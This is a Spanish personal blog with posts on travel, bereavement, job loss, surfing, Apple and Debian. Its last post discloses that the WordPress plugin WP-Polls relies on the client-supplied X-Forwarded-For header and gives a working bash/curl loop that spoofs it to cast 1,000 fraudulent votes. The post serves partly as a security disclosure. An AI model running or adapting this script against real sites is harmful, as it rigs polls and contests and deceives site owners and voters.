DLL Hijacking... desde hace 10 años?

Ya hay varios blogs y listas de correo hablando sobre el tema, yo no hablaré sobre él, ya hay un par de blogs que tienen buena información al respecto, lo cierto es que no es una vulnerabilidad nueva, pero que ha tomado realce/publicidad gracias a una herramienta hecha publica para encontrar aplicaciones vulnerables.

A informarse y todos aquellos que utilicen windows, a estar listos y desconfiar (como siempre...).

Los enlaces:

Dll Hijacking: otra forma de explotar aplicaciones en windows

Windows en estos dias, mucho mas inseguro que nunca

Toda la verdad sobre DLL Load Hijacking


Saludos!

Debian day!

Un año mas de nuestro querido Debian se acerca (16 de Agosto) y se extiende la invitación para celebrarlo este sabado 14 de Agosto en la UES, por ahi nos vemos!!!

En memoria de Guillermo Chavez

Ese viernes era un viernes normal...
Como todas las mañanas, ese viernes recibí su llamada avisándome que ya venían en su carro para arriba y que en aproximadamente 7 minutos estaría pasando por mi, me terminé de arreglar y salí a esperarle.
Lo saludé como siempre: "Cómo le va en este inicio de semana?"... siempre broméabamos que nuestros días parecían siempre lunes o viernes por lo duro del trabajo... ya hasta decíamos que últimamente parecían ser una mutación entre lunes y viernes... pero siempre el buen entusiasmo en los dos por comenzar el día "con todos los poderes", como me comentó que su hijo decía.
"Como le va?" - dije- "Por ahi... estoy con un malestar, creo que tengo gastritis... ayer me comenzó el malestar tipo 11:00 de la noche..." -dijo- "Pero ya está tomando algo?" -pregunté- "Si, ya estoy tomando algo por ahi..." -respondió- "Ahhh ok... " y luego comenzamos a hablar del inicio del mundial y demás temas... escuchando como casi siempre a "la choli" en la scan... riéndonos de todas sus ocurrencias y críticas. Llegamos al trabajo, me dejó en la empresa y prosiguió hacia la suya. A la media hora yo estaba llamándole por teléfono para confirmar algunas cosas del trabajo, le pregunté como seguía... "Aquí sacando el pecho" -me comentó- "Tengo que tirarme un poco para atrás, porque me molesta el ardor en el estómago, así que tengo que sacar el pecho..." -prosiguió-... "hhmmm... pero ya tomó algo?" -pregunté- "Si ya... ahi vamos" -me respondió- "aahhh ok... bueno" -respondí... mientras proseguí con mis preguntas laborales. Esta sería mi ultima conversación con Guillermo Chávez, un amigo que cuando yo comencé en mi anterior trabajo estaba del lado de nuestro cliente Fruit of the Loom y trabajamos casi dia a dia por 7 años... luego yo me cambié de trabajo y tuve la oportunidad de aportar mis comentarios y recomendaciones para que él quedara en mi lugar... asi que los últimos meses el papel se había invertido, ahora yo estaba con una empresa que es cliente de mi antiguo trabajo y para la cual trabajaba, así que seguíamos en contacto casi día con día. Esa tarde... aproximadamente a las 3:00pm recibí esa noticia que nunca esperamos recibir.. y que me dejó helado y en shock por unos minutos.... Guillermo Chavez había ido a consulta, al parecer lo habían remitido al ISSS en Santa Ana... y había fallecido. Como suele suceder con este tipo de noticias, no lo podía creer... mi mente comenzó a recordar tantas cosas, tantas conversaciones, tantos momentos, tantas bromas... y sentí ese vacío... sentimiento tan raro y un tanto indescriptible.
Esa noche fui a conseguir carro para poder ir a la vela, me alisté y me dispuse a salir. Llovía fuerte cuando llegué a la funeraria, estaba lleno así que estacioné el carro a la vuelta, no paraba de llover... me quedé un rato sentado, recordando tantas cosas, me dispuse a salir, llegué hasta la esquina... y simplemente me detuve, me quedé un rato ahí parado... retrocedí algunos pasos y esperé por unos momentos... para ese entonces ya estaba empapado... y me regresé al carro. Me quedé otro rato sentado, con la mente en blanco.... me percaté que estaba empapadisimo así que me quité la camisa, la puse a un lado mientras me quedé de nuevo en blanco... sin mas, me regresé a casa... no pude entrar, creo que simplemente quiero tener los recuerdos que ya tengo y mantenerlos asi, se que muchos no entenderían esto...

"Sabemos que hay cosas y favores que hacemos, ya no por que sean cuestiones de trabajo sino mas por la amistad que hay...."

"Como está su padre? siempre en la noche, que tenemos por costumbre orar juntos con mi familia, oramos por el..."

"A ver si en un par de meses no le estoy llamando para ver sino necesitan un coordinador de contenedores... espero estar tomando la decisión correcta" -mencionó, hablando de su decisión de cambiarse de trabajo, entre las razones, tendría mas tiempo para estar con su familia...

Excelente persona, trabajador responsable y amigo... este post es en su honor, Guillermo Chavez... no pude entrar a la vela... pero eso no cambia el aprecio y amistad!!!

Tenia tiempos de no mojarme... y de no escribir!

Hey saludos!!!

No, insisto... no estaba muerto... tan solo he estado encerrado en la #mina, la verdad es que con mi cambio de trabajo (si, me cambié para los que aún no se enteraban), una #mina que comienza operaciones acá en el país, no es que tuvieran mas prestaciones que donde estaba antes, ni mucho mas salario.... pero eso a que me bajaran el 25% de mi salario como ya me habían cantado en mi anterior #mina.... estoy mucho mejor. Bueno, dejando un poco el sarcarsmo, la verdad es que es una excelente empresa, es mundialmente reconocida en el medio de las maquilas y el hecho que esté comenzando operaciones abre las oportunidades de crecer y la verdad me siento bastante bien.

El hecho es que entre las prestaciones que tenía antes era el carro y gasolina, cosa que ya no tengo mas en mi nuevo trabajo, asi que desde hace un tiempo he vuelto a los buses.

Un día de estos iba de regreso a mi casa y como se podrán imaginar, estaba lloviendo a mares, así que disfruté la lluvia, no corri para esconderme, no me puse nada para taparme... solo caminé y disfruté.

Tenía tiempos de no mojarme.... recordé cuánto disfrutaba mojarme tiempo atrás, también me puse a pensar las cosas buenas de los buses (si, claro que hay!!!): En primer lugar me estoy ahorrando un poco de plata al no gastar en gasolina que sigue subiendo y en el mantenimiento y gastos imprevistos además de encontrarme con viejos amigos tanto en los buses como en las paradas de los buses. Si claro, hay días que quisiera irme sentado muy tranquilamente y llegar sin demoras a mi destino... pero bueno, tampoco es para amargarse por eso, siempre hay que disfrutar lo que se tiene y lo que no se tiene!!!

Saludos desde este rincon!

Buen trip after got stucked in Atlanta!

Despues de pasar la noche en Atlanta (solo pude dormir un par de horas), me quede esperando en la puerta de salida que supuestamente me tocaba el otro vuelo.... para mi sorpresa cuando me desperte ya lo habian cambiado a otra puerta, asi que como tenia tiempo me fui a buscarla, pasando siempre por mi starbucks claro esta... llegue y hasta ahi me di cuenta que mi ticket decia "on standby", osea... tenía que esperar a que alguien programado para ese vuelo faltara para poder entrar, de otra forma tendría que esperar hasta el vuelo de la 1:15 en el que sí estaba confirmado. Justo en el último minuto fui de nuevo a preguntar, la señora que estaba ahí llamó a tres personas, ninguna estaba así que yo volaba!!! lamentablemente ni siquiera tuve tiempo de avisar a la gente que me iba a estar esperando, pero igual me fui. Llegué a Greensboro y no había internet, mi roaming aún no funcionaba y no pude llamar de los teléfonos públicos hasta que esperé por la operadora y pude llamar por cobrar...

Después de esta aventura, todo fué excelente, pasé por las oficinas centrales de la empresa en Greensboro y luego seguí hacia Yadkinville, ahi me quedé en la casa de huéspedes de la empresa... una casa full equipada con su sala, comedor, radio, television, cable, aire acondicionado, cocina, refrigerador full de cosas, snacks, sodas y de todo...

El clima estaba helado, bastante rico en realidad, el pueblo (si, es un pueblito, rural para los gringos) muy tranquilo, demasiado quiza... ya a las 9:00pm todo está cerrado y no hay nada que hacer.

Lo bueno fué que al segundo día me dieron un carro así que al menos ya me podía movilizar por el pueblo.

Al cuarto día me puse google earthiar, tome mis notas y dibujé mis mapas y me animé a manejar a Wiston Salem, a unos 20 minutos de donde estaba, llegué hasta un Best Buy que estaba buscando, un mall que estaba cerca y pude salir sin mayor complicación!!! Después de esó casí todos los días estuve manejando para ahi y cada vez ampliaba un poco mas mi area de manejo así que pude ir a otros malls y calles de la zona.

El viernes pude contactarme con un tío que se vino para US cuando yo tenía como un año de edad, así que nunca lo conocí y finalmente pude llegar a su casa y conocernos, pasé casi todo el sábado con ellos, conocí a unas primas, me llevaron de compras, estuvimos hablando un buen rato tomando café... un sábado bastante bueno.

El domingo nos comunicamos con Paul, un amigo de Charleston que estaba viajando a visitar a sus papas en Charlotte y quedamos en encontrarnos a medio camino para que él no subiera... asi que fui a comprar un mapa (que por cierto estan facil de entender y hace que manejar por carreteras en US sea facil) confirmé la ruta que tenía que seguir y viaje hasta Statesville, como a 45 minutos de Yadkinville, en la ida me fui por una ruta que pasaba por otros pueblitos, el paisaje estuvo bastante bueno, pero me tardé mas por las restricciones de velocidad y la lluvia que estuvo durante todo el día. Estuvimos almorzando con este amigo en Statesville y luego emprendí mi ruta de regreso tomando la interestatal y pude regresar sin complicaciones a Yadkinville. Cuando regresé me dí cuenta que había amenza de tornado y la tormenta que me había caído era parte de ese tornado, gracias a Dios no afectó la parte en la que estaba.

Realmente ha sido buena experiencia, nunca había manejado por acá pero realmente no hay nada de qué preocuparse, todo está claro en los mapas, pero perderse una salida te lleva a dar una vuelta de locos, gracias a Dios no me perdí ninguna...

Ojala me manden de regreso mas adelante!!!

Les dejo un par de fotos...

Stucked in Atlanta

Y aca estoy, atascado en Atlanta... resulta que el avión en el que iba de El Salvador para Atlanta no podía aterrizar debido al mal tiempo.. y vuelta que vuelta hasta que ya no le dio mas la gasolina y tuvimos que aterrizar en Birmingham para que le hecharan gasolina, esto claro, ocasionó un atraso de 3 horas... así que cuando llegué a Atlanta ya había perdido mi conexión... así como también unas 50 personas mas... asi que ahí nos tenían a todos haciendo cola para que nos redireccionaran en otros vuelos y una sola persona atendiendo.
Ya eran como las 10:00pm cuando por fín me dijeron que mi próximo vuelo sale a las 8:14 am hora de Atlanta, apenas y alcance a encontrar un Wendys abierto, que creo que me fregó el estómago por no haber comido nada mas en todo el día que unos manies que nos dieron en el vuelo...

Después de caminar por un buen rato encontré un starbucks, al menos ya me di me dosis de cafeina!

Saludos desde Atlanta!

Next Stop, Yadkinville!

El cambio de trabajo esta vez me lleva a entrenamiento a un lugar llamado Yadkinville, un pueblo en Carolina del Norte, que según comenta todo es muy hermoso, como estar en "el campo" en Estados Unidos, mucha area verde, caballos, establos, un pueblo tranquilo.

Así que este domingo salgo para alla, esperando estar aproximadamente semana y media, asi que en cuanto pueda subo fotos de este nuevo viaje!

Salud!

En memoria de Kirlian...

Como todos los años desde el 2006, aunque unos días tarde, dedico este post a quien en vida fuera un gran linuxero y amigo, Kirlian Zepeda, definitivamente haces falta por aca!

QDDG.

Blackberriado...

Y bueno, me cambié de trabajo y con el nuevo trabajo vino una blackberry bold 9700, la primera blackberry que pruebo y aunque la primera impresión fué un tanto de incomodidad después de estar acostumbrado al iphone, pero después de un rato de estar jugando ya me sentía cómodo con ella, de hecho, aunque me duela admitirlo (porque me gustan los iphones, claro está), es mucho mas rápida y funcional que mi iphone primera generación, el hecho que sea multitasking la hace excelente.
Y aunque, no me gusta tener internet las 24 horas del día porque hoy ya no tengo excusa que no tengo internet para el trabajo, me gusta la idea que puedo ir a donde sea y dejar mis messengers online.
Gmail funciona a la perfección y aunque la ventaja del iphone es la cantidad de aplicaciones que existen, creo que la blackberry tampoco se ha quedado atrás y al menos para las funciones que necesito, he encontrado aplicaciones.
Así que hasta hoy, un par de días después de comenzar a probarla, mis primeras impresiones de la blackberry bold 9700 han sido muy buenas!

P.D.
Lo siento, no vendo mi iphone... todavía me gusta, además ahi tengo el chip con mi número personal...

Saludos!!!

Proxima charla sobre Hacking etico y SQL Injection

Saludos desde el mas acá...

Después de un par de días perdido y conciente que les debo la entrega de blind sql injection, por acá les traigo una noticia para los interesados, estaré dando una charla en la UNICO (UNICAES?), un poco de Hacking ético, auditorías de seguridad pero el tema específico serán la inyecciones sql, comenzando por lo basico hasta llegar a las inyecciones a ciegas. El día tentativamente es el sabado 20 de Marzo, la entrada será gratuita, así que en cuanto tenga la seguridad del día se los haré saber.

Saludos!

Oraciones por mi papa...

Mi papa ha estado hospitalizado los ultimos dos dias, hace unos momentos recibi una llamada de mi madre con los resultados de los ultimos examenes: tiene una fisura en la aorta, no hay nada que los medicos puedan hacer.

Aun asi, se que Dios tiene la ultima palabra, esta en sus manos ahora... les pido sus oraciones!!!

Inkscape... buenisimo!

Vectores y mapas de bits (bitmaps), todo diseñador sabrá muy bien la diferencia entre ambos. Algunos recomiendan el uso de vectores para la creación de logos y bitmaps para otras cosas un poco mas trabajadas que requieren cierto tipo de efectos que es mucho mas facil lograrlo en bitmaps.

Entre las opciones libres para bitmaps encontramos a Gimp, que a pesar de ser muy bueno, aún tiene trabajo por delante. Para vectores tenemos a Inkscape que a mi punto de vista está muy a la altura de otros software comerciales, sino es que ya les lleva la delantera. Cuando lo comencé a utilizar dejé de utilizar otro software vectorial y ha tenido un adelanto excelente, tanto que se pueden lograr muchos efectos que antes solo se podían hacer con bitmaps, realmente muy recomendado si eres diseñador y quieres probar un excelente software libre.

Esta mañana me encontré un sitio que tiene un par de tutos bastante buenos: Very Simple Designs.

Puedes encontrar tutos para principiantes y un par que me gustaron mucho sobre hacer spiros swirls y graficos estilo urbano.

... Y si quieres un blog que hace una recopilación de excelentes tutos, tenemos a The Inkscape tutorials weblog, definitivamente recomendado y también tenemos una galería libre por si necesitas gráficos ya hechos.

Definitivamente, mi recomendación!

Saludos!!!

Mi vocho '77 continua su restauracion!

Asi es... despues de bastante tiempo de estar en mi cochera, aguantando agua y sol al fin me decidi a invertirle otro poco, esta vez le toco el turno a lo exterior, ya se encuentra en el taller para su respectivo enderezado y pintura... pero eso tambien conllevaba comprar todos los detalles exteriores, asi que ya tengo empaques, stops, bumpers, estribos y demas.... veremos que tal queda!!!

Lo que hace el amor a un bug de estos!!!

Y donde anda Cisko?

Bueno... mi primer post del 2010 casi un mes despues... ni modo, pero no he andado solo de parranda, entre otras cosas he andado levantando virtualmente mi changarrito, gracias a Dios ahi va agarrando forma, aun falta mucho que hacer, pero al menos ya salieron algunos clientes y Dios sigue respondiendo... les dejo lo que es hasta el momento el logo:

Logo modelado en 3D

Este fin de semana estuve en un retiro de la iglesia, fue en la playa Costa del Sol... me di cuenta de algo, creo que las playas sin olas para surfear ya no me llaman la atencion... sea como sea, pase un buen rato, pero vine con unas grandes ganas de ir a surfear!!!

Les dejo una foto desde el hotel...

Playa Costa del Sol vista del hotel Confort Inn

Se nos va el 2009... con todo ese 2010!

Un anio mas se nos va... momento justo para sentarnos por un momento y reflexionar todo lo que nos ha pasado, en lo personal este anio ha traido tantas cosas, comence a enumerarlas, pero luego decidi no ponerlas en este post, porque no solo las cosas que recordamos son las que nos han marcado, sino tambien una infinidad de cosas "pequenias", pero que tambien llegaron a ser parte de nuestra vida.

Como siempre he dicho, no llamemos "malo" a lo "malo" que nos paso, si de esa experiencia agridulce pudimos aprender algo, en ese momento dejo de ser malo... y en este anio he aprendido mucho, en lo laboral, en lo espiritual, en lo familiar... y definitivamente me gusta mucho aprender, espero que el 2010 me traiga mucho mas aun.

A todos ustedes, los que se toman el tiempo para visitarme en este rincon aunque no hable nada bueno, gracias y desde este rincon les deseo lo mejor, que Dios siga bendiciendo sus vidas y que este 2010 cumplan los propositos trazados y que Dios les de aun mucho mas de lo que esperaban!!!

Feliz 2010 a todos ustedes!!!

No mas niños quemados...

Ya el año pasado comentaba respecto a este tema, este año no será la excepción y me uno de nuevo a esta campaña.

Se que muchas veces es difícil en nuestra propia familia decir "No vamos a comprar", siempre están los comentarios "Si el hermano mayor la va a quemar, si lo hará supervisado, si solo estrellitas o volcancitos serán... etc.", pero el caso es que de una u otra forma seguiríamos fomentando esta práctica indebida... mi opinión es que se la dejemos a quienes han tomado las medidas de seguridad necesarias para su manipulación.

En lo personal, este año me tocó decir también "no", no quiero que mi hijo crezca viendo como algo "normal" la quema de pólvora en casas, posiblemente los primeros años no lo entienda y hasta llegue a "caer mal", pero estoy seguro que mas adelante, cuando tenga la edad necesaria lo entenderá, no importa si esa edad sea hasta cuando sea tambié padre de familia y esté velando por la seguridad de los suyos.

Este año vuelvo a decir "No mas niños quemados, yo no compro pólvora".

Saludos y felices fiestas a todos!

Al fin mis vacaciones...

Eso... al fin pude tomarme mis vacaciones, todo se dió en el momento justo: el martes 8 era el dia festivo de Ciudad Arce, así que era obligatorio para mi trabajo, solo me tocaba pedir 1 dia de vacación para poder quedarme de sábado a martes, 4 dias!

Estaba decidiendo a donde ir cuando mi esposa me dice que en una tal playa "Las Flores" acababan de decir en la tele que daban clases de surf... no me dijo dos veces ya estaba buscando información en internet, encontré que esta playa está en San Miguel y justamente encontré dos hoteles que se miraban bonitos:

http://www.lasfloresresort.com/
http://www.elhotelmiraflores.com/

Ambos tenían la opción de clases de surf... por el precio me decidí por el segundo y dado que siempre he querido aprender a surfear pues todo salía perfecto, ojalá algún día pueda ir también al segundo que se mira de lujo!

Amanecer en playa "Las Flores" , San Miguel, El Salvador, vista desde el hotel Miraflores

Vacaciones inolvidables... el hotel con un excelente servicio, mucho mejor de lo que esperaba, el lugar excelente, justamente me quedé en el hotel que mejor vista tiene por estar en alto, la vista es impresionante. En la playa conocí a varias personas muy amables y ellos mismos fueron quienes se ofrecieron a enseñarme a surfear, muchisimo mas barato que tomar clases directamente en estos hoteles, así que ellos mismos consiguieron la tabla y me puse a hacer mis pininos sobre las olas... ufff.. cansadísimo, pero estuvo excelente... espero poder volver a ir en estas vacaciones de fin de año aunque ya en version "mochilero" para no gastar tanto y poder practicar un poco mas. Esta playa es especial para comenzar a aprender, olas no tan fuertes pero lo suficiente como para ir agarrando práctica. Para los mas experimentados existe "Punta Mango" que es otra playa que tiene buena fama entre los surfistas, aunque por la cantidad de piedras que hay, la recomiendan para surfistas mas experimentados... asi que, en otra ocasión será!

Atardecer en playa "Las Flores" , San Miguel, El Salvador, vista desde el hotel Miraflores

Desde este rincón un saludo a toda la gente de El Cuco y playa las Flores por su amabilidad y hospitalidad (Toda esta gente te trata como si ya te conocieran!), saludos a Edwin, Goofy y Yepi por sus clases y consejos y por iniciarme en este excelente deporte: El Surf!

Recomendaciones y revisiones finales:
Ambos hoteles están excelentes, La Flores Resort es mas de lujo, pero con un ambiente excelente, el Miraflores está mas accesible aunque no tiene nada que envidiar, cuartos con aire acondicionado, cable, etc.

Si vas en versión mochilero, encontrarás cuartos solo con ventilador desde $15 a $25 la noche... si es temporada alta y todo está lleno, siempre encontrás lugares que te alquilen un espacio para poner tu tienda de campaña.

Saludos!

Apple y yo...

No, no estaba muerto... solo andaba de parranda.
Muchas cosas han pasado ultimamente con mi vida... esta es una de ellas...

Si algo no podemos negar es la increible creatividad y diseño que ha caracterizado a Apple y sus macs.

Allá por el año 1996 tuve mi encuentro cercano con una Mac. Mauricio era quien en ese entonces tenía su negocito y varias computadoras (todas mac) en las cuales jugabamos en red Quake, Descent, Nascar, Carmagedon...
Fue con el que pusimos lo que para mi sería mi primer negocio, gracias a el comencé en esto del diseño gráfico, todo a pura mac, en ese entonces era una de 266 mhz trabajando photoshop, se defendía mejor que las 533mhz intel de ese entonces, claro, mac se jactaba de ser 2 veces mas rapido que una intel, y realmente... lo era, claro eran mucho mas caras ya que también utilizaban la tecnología SCSI, era un hardware realmente potente.

Diferencias y detalles hicieron que cerráramos ese negocio que iba bastante bien, cada quien tomó su camino y es ahi donde luego comenzamos Artes Silicon Digital (ahora ASD) con Salvador y Erick (si, ziggy el carajada) y en ese entonces compramos algo de lo mejorcito en ese entonces de mac, ya era tiempo de las imacs tipo cascos, con sus flamantes colores de frutas, diseño revolucionario y excelente desempeño, pero no... no fuimos por una de esas, fuimos por una graphite de 400 mhz, diferente a todas las demas, luego el carajada compraría una imac color aqua.

Imac graphite 400

Ese había sido mi ultimo encuentro con apple... hasta que salió el iphone, tenía que tener uno... al ver lo hermosos que son y la cantidad de aplicaciones que habían, tenía que tener uno, pero algo que también ha caracterizado a Apple ha sido su elevado precio, muy alejado de mis posibilidades, sin embargo Regino tuvo a bien cambiarme su iphone por me Treo 750... y al fin tenía mi iphone, mac me volvía a tocar.

El iphone, sus aplicaciones y su mercado hicieron que se me metiera que quería aprender a programar para él (había que rebuscarse para ver de donde podía obtener ingresos por todo el ambiente que esta pasando la empresa para la que -aun- laboro), lamentablemente el SDK solo corre en mac, asi que después de hacer pruebas con maquinas virtuales y versiones MacOS para intel que corrían pero demasiado lentas... tenía que comprarme una mac para poder lograr este objetivo.

En octubre nos indemnizarona todos en la empresa así que, de nuevo, previendo lo que espero hacer con las aplicaciones iphones, necesitando una computadora para diseño 3D, animaciones y video, he vuelto a ser macintouched -touched by macintosh ;-)- me compré una Imac de las nuevas versiones, siguen siendo de un diseño increible, irónicamente ahora tienen procesador Intel (recordemos el video...), pero aún así, el hardware tiene un excelente desempeño, superior a una pc normal. Si, se que por el precio que pagué podía tener una PC con mejor capacidad, pero, necesitaba una combinación entre el ambiente para el SDK de iphone y capacidad de hardware, asi que fue la combinación perfecta.

El bootcamp de mac hace facil la tarea de montarle gnu/linux... Claro, ya está en proceso de su liberación siendo "Debianizada"... siempre quise esa combinación: Hardware mac y mi querido Debian.

Aun estoy peleando con algunos detalles para poder exprimir cada detalle, me falta tiempo para poder dejar mi Debian "de toque" pero ahi vamos, la "manzana" ahora forma parte de mi laboratorio.


Lamentablemente... no todo fue color de rosa... estoy bastante molesto con la gente de la macstore galerias (macstore4), pero muy agradecido con la gente del taller tecnico... pero, ese es otro post.

Saludos!

Tristeza... un capitulo mas está por cerrarse...

Estos han sido días duros... días en los que he llegado y solo quiero dormir... no mas trabajo ni siquiera abrir la computadora...

La hora cero se acerca para la empresa para la cual he laborado por los últimos 6 años de mi vida, a estas alturas del juego aún no tenemos la certeza si la empresa continúa o no.... menos aún si yo continúo o no, lo cierto es que esta bodega de 42,000 pies cuadrados ya se ve casi vacía en su totalidad, el movimiento que queda es poco así que esta semana me ha tocado hablar con las primeras personas que se estarán recortando y llegan trabajando con nosotros hasta este día... no porque sean malos trabajadores, muy al contrario, son excelentes trabajadores, sin embargo había que hacerlo y eso es lo mas duro, no hay razón mas que... había que hacerlo.

Es grato saber que como jefatura no he fallado, como compañero de trabajo no he fallado, como empleado no he fallado, es grato escuchar que el ambiente de trabajo que tenemos/tuvimos es envidiable, pero duele escuchar a las personas "yo quisiera seguir trabajando aca, por favor, tomeme en cuenta" cuando ni siquiera yo mismo tengo nada seguro...

Ya comencé desde hace un tiempo a repartir curriculums, aún no hay nada... es un pésimo tiempo para repartir curriculums (crisis + fin de año), mas sin embargo tengo la certeza de que Dios tiene algo y que no me dejará, pero este tiempo no deja de ser duro... mas por la gente con la que trabajo, mis compañeros de trabajo, que por mi.

A estas horas suena la pelota de ping-pong en la cafetería, pelota con la que tantas veces nos hemos divertido... y hoy tiene un futuro incierto.

Ha sido una semana dura, pero la vida continúa, esto, como todo, es parte del trabajo... hoy, por todos los que trabajamos aca, tengo que salir y a pesar de esta tristeza, poner buena cara para lograr levantar el ánimo de todos... hoy tengo que ser fuerte... hoy salgo y voy a jugar, una vez mas, con rostro alegre, ping-pong.

Votando mas de lo permitido con WP-Polls

WP-Polls es un plugin de WordPress para administrar encuestas, nunca lo he utilizado, simplemente quiero apuntar a lo fácil que es saltarnos la seguridad que tiene de no permitirnos votar mas de una vez por IP, pudiendo votar fácilmente las veces que se deseen, por lo que este plugin no debería ser utilizado para encuestas que se desean tener datos reales ni mucho menos para concursos...

Según pude ver, gracias al plugin x-forwarded-for spoofer para firefox, al cambiar el valor de la cabecera http x-forwarded-for, me permitía votar de nuevo... de que estoy hablando? bueno, pueden encontrar mas información sobre esta cabecera http en wikipedia, en resumen diremos que esta cabecera lleva tu ip local, por ejemplo, varios de los proveedores locales de internet hacen que varias personas salgan a internet a través de una misma IP, por ejemplo, por una misma IP está accediendo el Sr. Perez a la página de su periódico favorito pero tambien está Maloso Juarez queriendo entrar por fuerza bruta a la página de administración del mismo periódico... los administradores del servidor del periódico andaban vivos y se dieron cuenta del ataque de Maloso Juares, así que deciden bloquear la IP publica de Maloso Juarez, que resulta ser también la del Sr. Perez, resultando en que el Sr. Perez no puede disfrutar de su lectura porque fue bloqueado "sin querer".

X-forwarded-for entonces no toma en cuenta la IP publica, sino la IP local... ejemplo, la IP publica del Sr. Perez y Maloso Juarez era 200.13.X.X, pero la ip local que les está asignando el router de cada casa es del tipo: 192.168.0.1, que es la IP que lleva la cabecera X-Forwarded-for.

Esto solo fue un ejemplo, claro en la vida real si estoy sufriendo un ataque bloqueo la IP, no importa quien mas quede afectado, solo quise ilustrar la diferencia de IPs.

Volviendo al X-forwarded-for, al ser una cabecera HTTP enviada por el cliente (nosotros), tenemos control completo sobre que enviar y que no, ya sea con el plugin mencionado anteriormente, algún proxy... o a pie.

Ya que descubrimos que WP-Polls unicamente verifica la dirección que viene detallada en la cabecera x-forwarded-for, entonces podemos engañarlo (IP spoofing), nos podemos entonces hacer un pequeño script bash, tenemos pues que verificar primero que variables son las que enviamos por post, para el caso WP-Polls normalmente son las siguientes:

vote=true&poll_id=1&poll_2=2&rndval=12321321321323

Bastará con identificar los valores para la opción que necesitamos, y nos hacemos nuestro script bash haciendo uso de curl,

... antes de ponerlo, hay que aclarar que en x-forwarded-for podemos poner cualquier numero y dara igual... es decir, bien puedo poner rangos reales de IP: 192.168.0.1-254, IP inventadas: 955.278.8000.6... o numero cualquiera.

ahora si.. el script:

-----------------------------
#!/bin/bash
NUM=0

#solo vamos a agregar 1,000 votos
while [ $NUM -le 1000 ]; do

#generamos un numero random para ponerlo como parte de nuestra IP
RAN=$RANDOM

# $1 indica un argumento pasado desde la linea de comandos (ver uso despues)
# $RAN es nuestro numero random generado anteriormente
# $NUM es el numero correlativo de nuestra votacion
# -H es utilizado por curl para enviar cabeceras HTTP
# -d es utilizado por curl para indicarle las variables que tiene que enviar por POST
# ademas crea un archivo con la respuesta obtenida (para saber si el voto fue efectivo)
# lo cual puede omitirse si no quieres ver un monton de archivos..
#
# Nuestra IP la forma con el argumento que le pasemos,
# el numero random y el numero correlativo
# ej. si le pasamos el argumento "200.13"
# le agrega un numero random quedando "200.13.454545"
# y luego le agrega el correlativo quedando "200.13.454545.1"
# lo que hara algo dificil que se repita ;)

curl -H "X-Forwarded-For: $1.$RAN.$NUM" -d "vote=true&poll_id=1&poll_2=2&rndval=$RAN" "http://sitio_con_WP-Poll/" >log_$1.$RAN.$NUM.html

let NUM=$NUM+1
done
-----------------------------

Lo guardamos con cualquier nombre, por ej "wp", y lo ejecutamos pasandole un argumento para hacer aun mas flexible nuestra IP...

wp "200.13"

Y ahi va nuestra votacion...

Cabe mencionar que no he verificado versiones ni mayor detalles de este plugin...

Saludos!